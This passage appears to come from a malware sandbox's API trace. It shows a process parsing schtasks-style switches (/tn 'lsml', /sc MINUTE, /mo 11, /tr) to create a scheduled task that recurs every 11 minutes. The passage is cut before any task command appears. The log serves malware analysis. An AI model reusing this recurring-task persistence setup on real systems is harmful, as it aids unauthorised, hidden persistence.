_Buf2=0xff901b08, _Size=0x7) returned 0 [0084.612] lstrlenW (lpString="tn") returned 2 [0084.612] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.612] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|s|") returned 3 [0084.612] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.612] lstrlenW (lpString="|s|") returned 3 [0084.612] lstrlenW (lpString="|tn|") returned 4 [0084.612] SetLastError (dwErrCode=0x490) [0084.612] lstrlenW (lpString="u") returned 1 [0084.612] lstrlenW (lpString="u") returned 1 [0084.612] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.612] lstrlenW (lpString="tn") returned 2 [0084.612] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.612] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|u|") returned 3 [0084.612] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.612] lstrlenW (lpString="|u|") returned 3 [0084.612] lstrlenW (lpString="|tn|") returned 4 [0084.613] SetLastError (dwErrCode=0x490) [0084.613] lstrlenW (lpString="p") returned 1 [0084.613] lstrlenW (lpString="p") returned 1 [0084.613] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.613] lstrlenW (lpString="tn") returned 2 [0084.613] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.613] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|p|") returned 3 [0084.613] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.613] lstrlenW (lpString="|p|") returned 3 [0084.613] lstrlenW (lpString="|tn|") returned 4 [0084.613] SetLastError (dwErrCode=0x490) [0084.613] lstrlenW (lpString="ru") returned 2 [0084.613] lstrlenW (lpString="ru") returned 2 [0084.613] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.613] lstrlenW (lpString="tn") returned 2 [0084.613] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.613] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ru|") returned 4 [0084.613] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.613] lstrlenW (lpString="|ru|") returned 4 [0084.613] lstrlenW (lpString="|tn|") returned 4 [0084.613] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0084.613] SetLastError (dwErrCode=0x490) [0084.613] lstrlenW (lpString="rp") returned 2 [0084.613] lstrlenW (lpString="rp") returned 2 [0084.613] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.614] lstrlenW (lpString="tn") returned 2 [0084.614] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.614] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rp|") returned 4 [0084.614] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.614] lstrlenW (lpString="|rp|") returned 4 [0084.614] lstrlenW (lpString="|tn|") returned 4 [0084.614] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0084.614] SetLastError (dwErrCode=0x490) [0084.614] lstrlenW (lpString="sc") returned 2 [0084.614] lstrlenW (lpString="sc") returned 2 [0084.614] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.614] lstrlenW (lpString="tn") returned 2 [0084.614] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.614] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.614] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.614] lstrlenW (lpString="|sc|") returned 4 [0084.614] lstrlenW (lpString="|tn|") returned 4 [0084.614] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0084.614] SetLastError (dwErrCode=0x490) [0084.614] lstrlenW (lpString="mo") returned 2 [0084.614] lstrlenW (lpString="mo") returned 2 [0084.614] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.614] lstrlenW (lpString="tn") returned 2 [0084.615] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.615] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.615] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.615] lstrlenW (lpString="|mo|") returned 4 [0084.615] lstrlenW (lpString="|tn|") returned 4 [0084.615] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0084.615] SetLastError (dwErrCode=0x490) [0084.615] lstrlenW (lpString="d") returned 1 [0084.615] lstrlenW (lpString="d") returned 1 [0084.615] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.615] lstrlenW (lpString="tn") returned 2 [0084.615] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.615] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|d|") returned 3 [0084.615] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.615] lstrlenW (lpString="|d|") returned 3 [0084.615] lstrlenW (lpString="|tn|") returned 4 [0084.615] SetLastError (dwErrCode=0x490) [0084.615] lstrlenW (lpString="m") returned 1 [0084.615] lstrlenW (lpString="m") returned 1 [0084.615] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.615] lstrlenW (lpString="tn") returned 2 [0084.615] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.615] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|m|") returned 3 [0084.616] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.616] lstrlenW (lpString="|m|") returned 3 [0084.616] lstrlenW (lpString="|tn|") returned 4 [0084.616] SetLastError (dwErrCode=0x490) [0084.616] lstrlenW (lpString="i") returned 1 [0084.616] lstrlenW (lpString="i") returned 1 [0084.616] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.616] lstrlenW (lpString="tn") returned 2 [0084.616] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.616] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|i|") returned 3 [0084.616] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.616] lstrlenW (lpString="|i|") returned 3 [0084.616] lstrlenW (lpString="|tn|") returned 4 [0084.616] SetLastError (dwErrCode=0x490) [0084.616] lstrlenW (lpString="tn") returned 2 [0084.616] lstrlenW (lpString="tn") returned 2 [0084.616] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.616] lstrlenW (lpString="tn") returned 2 [0084.616] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.616] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.616] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.616] lstrlenW (lpString="|tn|") returned 4 [0084.616] lstrlenW (lpString="|tn|") returned 4 [0084.616] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0084.617] SetLastError (dwErrCode=0x0) [0084.617] SetLastError (dwErrCode=0x0) [0084.617] lstrlenW (lpString="lsml") returned 4 [0084.617] lstrlenW (lpString="-/") returned 2 [0084.617] StrChrIW (lpStart="-/", wMatch=0x6c) returned 0x0 [0084.617] SetLastError (dwErrCode=0x490) [0084.617] SetLastError (dwErrCode=0x490) [0084.617] SetLastError (dwErrCode=0x0) [0084.617] lstrlenW (lpString="lsml") returned 4 [0084.617] StrChrIW (lpStart="lsml", wMatch=0x3a) returned 0x0 [0084.617] SetLastError (dwErrCode=0x490) [0084.617] SetLastError (dwErrCode=0x0) [0084.617] lstrlenW (lpString="lsml") returned 4 [0084.617] SetLastError (dwErrCode=0x0) [0084.617] SetLastError (dwErrCode=0x0) [0084.617] lstrlenW (lpString="/sc") returned 3 [0084.617] lstrlenW (lpString="-/") returned 2 [0084.617] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.617] lstrlenW (lpString="create") returned 6 [0084.617] lstrlenW (lpString="create") returned 6 [0084.617] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.617] lstrlenW (lpString="sc") returned 2 [0084.617] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.617] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|create|") returned 8 [0084.617] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.617] lstrlenW (lpString="|create|") returned 8 [0084.617] lstrlenW (lpString="|sc|") returned 4 [0084.618] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0084.618] SetLastError (dwErrCode=0x490) [0084.618] lstrlenW (lpString="?") returned 1 [0084.618] lstrlenW (lpString="?") returned 1 [0084.618] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.618] lstrlenW (lpString="sc") returned 2 [0084.618] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.618] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|?|") returned 3 [0084.618] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.618] lstrlenW (lpString="|?|") returned 3 [0084.618] lstrlenW (lpString="|sc|") returned 4 [0084.618] SetLastError (dwErrCode=0x490) [0084.618] lstrlenW (lpString="s") returned 1 [0084.618] lstrlenW (lpString="s") returned 1 [0084.618] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.618] lstrlenW (lpString="sc") returned 2 [0084.618] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.618] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|s|") returned 3 [0084.618] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.618] lstrlenW (lpString="|s|") returned 3 [0084.618] lstrlenW (lpString="|sc|") returned 4 [0084.618] SetLastError (dwErrCode=0x490) [0084.618] lstrlenW (lpString="u") returned 1 [0084.618] lstrlenW (lpString="u") returned 1 [0084.619] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.619] lstrlenW (lpString="sc") returned 2 [0084.619] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.619] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|u|") returned 3 [0084.619] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.619] lstrlenW (lpString="|u|") returned 3 [0084.619] lstrlenW (lpString="|sc|") returned 4 [0084.619] SetLastError (dwErrCode=0x490) [0084.619] lstrlenW (lpString="p") returned 1 [0084.619] lstrlenW (lpString="p") returned 1 [0084.619] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.619] lstrlenW (lpString="sc") returned 2 [0084.619] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.619] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|p|") returned 3 [0084.619] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.619] lstrlenW (lpString="|p|") returned 3 [0084.619] lstrlenW (lpString="|sc|") returned 4 [0084.619] SetLastError (dwErrCode=0x490) [0084.619] lstrlenW (lpString="ru") returned 2 [0084.619] lstrlenW (lpString="ru") returned 2 [0084.619] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.619] lstrlenW (lpString="sc") returned 2 [0084.619] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.620] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ru|") returned 4 [0084.620] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.620] lstrlenW (lpString="|ru|") returned 4 [0084.620] lstrlenW (lpString="|sc|") returned 4 [0084.620] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0084.620] SetLastError (dwErrCode=0x490) [0084.620] lstrlenW (lpString="rp") returned 2 [0084.620] lstrlenW (lpString="rp") returned 2 [0084.620] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.620] lstrlenW (lpString="sc") returned 2 [0084.620] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.620] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rp|") returned 4 [0084.620] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.620] lstrlenW (lpString="|rp|") returned 4 [0084.620] lstrlenW (lpString="|sc|") returned 4 [0084.620] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0084.620] SetLastError (dwErrCode=0x490) [0084.620] lstrlenW (lpString="sc") returned 2 [0084.620] lstrlenW (lpString="sc") returned 2 [0084.620] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.620] lstrlenW (lpString="sc") returned 2 [0084.620] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.620] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.620] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.620] lstrlenW (lpString="|sc|") returned 4 [0084.621] lstrlenW (lpString="|sc|") returned 4 [0084.621] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0084.621] SetLastError (dwErrCode=0x0) [0084.621] SetLastError (dwErrCode=0x0) [0084.621] lstrlenW (lpString="MINUTE") returned 6 [0084.621] lstrlenW (lpString="-/") returned 2 [0084.621] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0084.621] SetLastError (dwErrCode=0x490) [0084.621] SetLastError (dwErrCode=0x490) [0084.621] SetLastError (dwErrCode=0x0) [0084.621] lstrlenW (lpString="MINUTE") returned 6 [0084.621] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0084.621] SetLastError (dwErrCode=0x490) [0084.621] SetLastError (dwErrCode=0x0) [0084.621] GetProcessHeap () returned 0x250000 [0084.621] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d660 [0084.621] _memicmp (_Buf1=0x26d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.621] lstrlenW (lpString="MINUTE") returned 6 [0084.621] GetProcessHeap () returned 0x250000 [0084.621] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d680 [0084.621] lstrlenW (lpString="MINUTE") returned 6 [0084.621] lstrlenW (lpString=" \x09") returned 2 [0084.621] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0084.621] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0084.621] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0084.621] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0084.621] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0084.622] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0084.622] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0084.622] GetLastError () returned 0x0 [0084.622] lstrlenW (lpString="MINUTE") returned 6 [0084.622] lstrlenW (lpString="MINUTE") returned 6 [0084.622] SetLastError (dwErrCode=0x0) [0084.622] SetLastError (dwErrCode=0x0) [0084.622] lstrlenW (lpString="/mo") returned 3 [0084.622] lstrlenW (lpString="-/") returned 2 [0084.622] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.622] lstrlenW (lpString="create") returned 6 [0084.622] lstrlenW (lpString="create") returned 6 [0084.622] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.622] lstrlenW (lpString="mo") returned 2 [0084.622] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.622] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|create|") returned 8 [0084.623] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.623] lstrlenW (lpString="|create|") returned 8 [0084.623] lstrlenW (lpString="|mo|") returned 4 [0084.623] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0084.623] SetLastError (dwErrCode=0x490) [0084.623] lstrlenW (lpString="?") returned 1 [0084.624] lstrlenW (lpString="?") returned 1 [0084.624] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.624] lstrlenW (lpString="mo") returned 2 [0084.624] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.624] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|?|") returned 3 [0084.624] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.624] lstrlenW (lpString="|?|") returned 3 [0084.624] lstrlenW (lpString="|mo|") returned 4 [0084.624] SetLastError (dwErrCode=0x490) [0084.624] lstrlenW (lpString="s") returned 1 [0084.624] lstrlenW (lpString="s") returned 1 [0084.624] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.624] lstrlenW (lpString="mo") returned 2 [0084.624] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.624] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|s|") returned 3 [0084.624] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.624] lstrlenW (lpString="|s|") returned 3 [0084.624] lstrlenW (lpString="|mo|") returned 4 [0084.624] SetLastError (dwErrCode=0x490) [0084.624] lstrlenW (lpString="u") returned 1 [0084.624] lstrlenW (lpString="u") returned 1 [0084.624] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.624] lstrlenW (lpString="mo") returned 2 [0084.625] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.625] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|u|") returned 3 [0084.625] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.625] lstrlenW (lpString="|u|") returned 3 [0084.625] lstrlenW (lpString="|mo|") returned 4 [0084.625] SetLastError (dwErrCode=0x490) [0084.625] lstrlenW (lpString="p") returned 1 [0084.625] lstrlenW (lpString="p") returned 1 [0084.625] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.625] lstrlenW (lpString="mo") returned 2 [0084.625] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.625] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|p|") returned 3 [0084.625] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.625] lstrlenW (lpString="|p|") returned 3 [0084.625] lstrlenW (lpString="|mo|") returned 4 [0084.625] SetLastError (dwErrCode=0x490) [0084.625] lstrlenW (lpString="ru") returned 2 [0084.625] lstrlenW (lpString="ru") returned 2 [0084.625] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.625] lstrlenW (lpString="mo") returned 2 [0084.625] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.625] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ru|") returned 4 [0084.625] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.625] lstrlenW (lpString="|ru|") returned 4 [0084.626] lstrlenW (lpString="|mo|") returned 4 [0084.626] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0084.626] SetLastError (dwErrCode=0x490) [0084.626] lstrlenW (lpString="rp") returned 2 [0084.626] lstrlenW (lpString="rp") returned 2 [0084.626] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.626] lstrlenW (lpString="mo") returned 2 [0084.626] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.626] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rp|") returned 4 [0084.626] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.626] lstrlenW (lpString="|rp|") returned 4 [0084.626] lstrlenW (lpString="|mo|") returned 4 [0084.626] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0084.626] SetLastError (dwErrCode=0x490) [0084.626] lstrlenW (lpString="sc") returned 2 [0084.626] lstrlenW (lpString="sc") returned 2 [0084.626] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.626] lstrlenW (lpString="mo") returned 2 [0084.626] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.626] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.626] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.626] lstrlenW (lpString="|sc|") returned 4 [0084.626] lstrlenW (lpString="|mo|") returned 4 [0084.626] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0084.627] SetLastError (dwErrCode=0x490) [0084.627] lstrlenW (lpString="mo") returned 2 [0084.627] lstrlenW (lpString="mo") returned 2 [0084.627] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.627] lstrlenW (lpString="mo") returned 2 [0084.627] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.627] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.627] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.627] lstrlenW (lpString="|mo|") returned 4 [0084.627] lstrlenW (lpString="|mo|") returned 4 [0084.627] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0084.627] SetLastError (dwErrCode=0x0) [0084.627] SetLastError (dwErrCode=0x0) [0084.627] lstrlenW (lpString="11") returned 2 [0084.627] lstrlenW (lpString="-/") returned 2 [0084.627] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0084.627] SetLastError (dwErrCode=0x490) [0084.627] SetLastError (dwErrCode=0x490) [0084.627] SetLastError (dwErrCode=0x0) [0084.627] lstrlenW (lpString="11") returned 2 [0084.627] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0084.627] SetLastError (dwErrCode=0x490) [0084.627] SetLastError (dwErrCode=0x0) [0084.627] _memicmp (_Buf1=0x26d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.627] lstrlenW (lpString="11") returned 2 [0084.628] lstrlenW (lpString="11") returned 2 [0084.628] lstrlenW (lpString=" \x09") returned 2 [0084.628] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0084.628] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0084.628] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0084.628] GetLastError () returned 0x0 [0084.628] lstrlenW (lpString="11") returned 2 [0084.628] lstrlenW (lpString="11") returned 2 [0084.628] GetProcessHeap () returned 0x250000 [0084.628] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x6) returned 0x26bab0 [0084.628] SetLastError (dwErrCode=0x0) [0084.628] SetLastError (dwErrCode=0x0) [0084.628] lstrlenW (lpString="/tr") returned 3 [0084.628] lstrlenW (lpString="-/") returned 2 [0084.628] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.628] lstrlenW (lpString="create") returned 6 [0084.628] lstrlenW (lpString="create") returned 6 [0084.628] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.628] lstrlenW (lpString="tr") returned 2 [0084.628] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.628] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|create|") returned 8 [0084.628] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.628] lstrlenW (lpString="|create|") returned 8 [0084.628] lstrlenW (lpString="|tr|") returned 4 [0084.628] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0084.629] SetLastError (dwErrCode=0x490) [0084.629] lstrlenW (lpString="?") returned 1 [0084.629] lstrlenW (lpString="?") returned 1 [0084.629] _memicmp (_Buf1=0x26c1c0, 